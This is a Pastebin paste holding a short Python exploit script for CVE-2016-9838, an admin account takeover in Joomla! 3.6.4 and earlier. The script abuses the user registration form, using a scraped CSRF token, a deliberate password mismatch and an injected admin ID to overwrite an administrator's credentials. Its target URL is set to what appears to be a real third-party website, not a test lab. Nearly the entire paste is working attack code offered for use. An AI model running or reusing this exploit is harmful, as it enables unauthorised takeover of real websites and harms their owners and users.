Advertisement
Guest User

Untitled

a guest
Nov 28th, 2017
884
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
  3. # cf
  4.  
  5. import bs4
  6. import requests
  7. import random
  8.  
  9.  
  10. ADMIN_ID = 384
  11. url = 'http://rinconmagico.com/'
  12.  
  13. form_url = url + 'index.php/component/users/?view=registration'
  14. action_url = url + 'index.php/component/users/?task=registration.register'
  15.  
  16. username = 'user%d' % random.randrange(1000, 10000)
  17. email = username + '@yopmail.com'
  18. password = 'ActualRandomChimpanzee123'
  19.  
  20. user_data = {
  21. 'name': username,
  22. 'username': username,
  23. 'password1': password,
  24. 'password2': password + 'XXXinvalid',
  25. 'email1': email,
  26. 'email2': email,
  27. 'id': '%d' % ADMIN_ID
  28. }
  29.  
  30. session = requests.Session()
  31.  
  32. # Grab original data from the form, including the CSRF token
  33.  
  34. response = session.get(form_url)
  35. soup = bs4.BeautifulSoup(response.text, 'lxml')
  36.  
  37. form = soup.find('form', id='member-registration')
  38. data = {e['name']: e['value'] for e in form.find_all('input')}
  39.  
  40. # Build our modified data array
  41.  
  42. user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
  43. data.update(user_data)
  44.  
  45. # First request will get denied because the two passwords are mismatched
  46.  
  47. response = session.post(action_url, data=data)
  48.  
  49. # The second will work
  50.  
  51. data['jform[password2]'] = data['jform[password1]']
  52. del data['jform[id]']
  53. response = session.post(action_url, data=data)
  54.  
  55. print("Account modified to user: %s [%s]" % (username, email))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement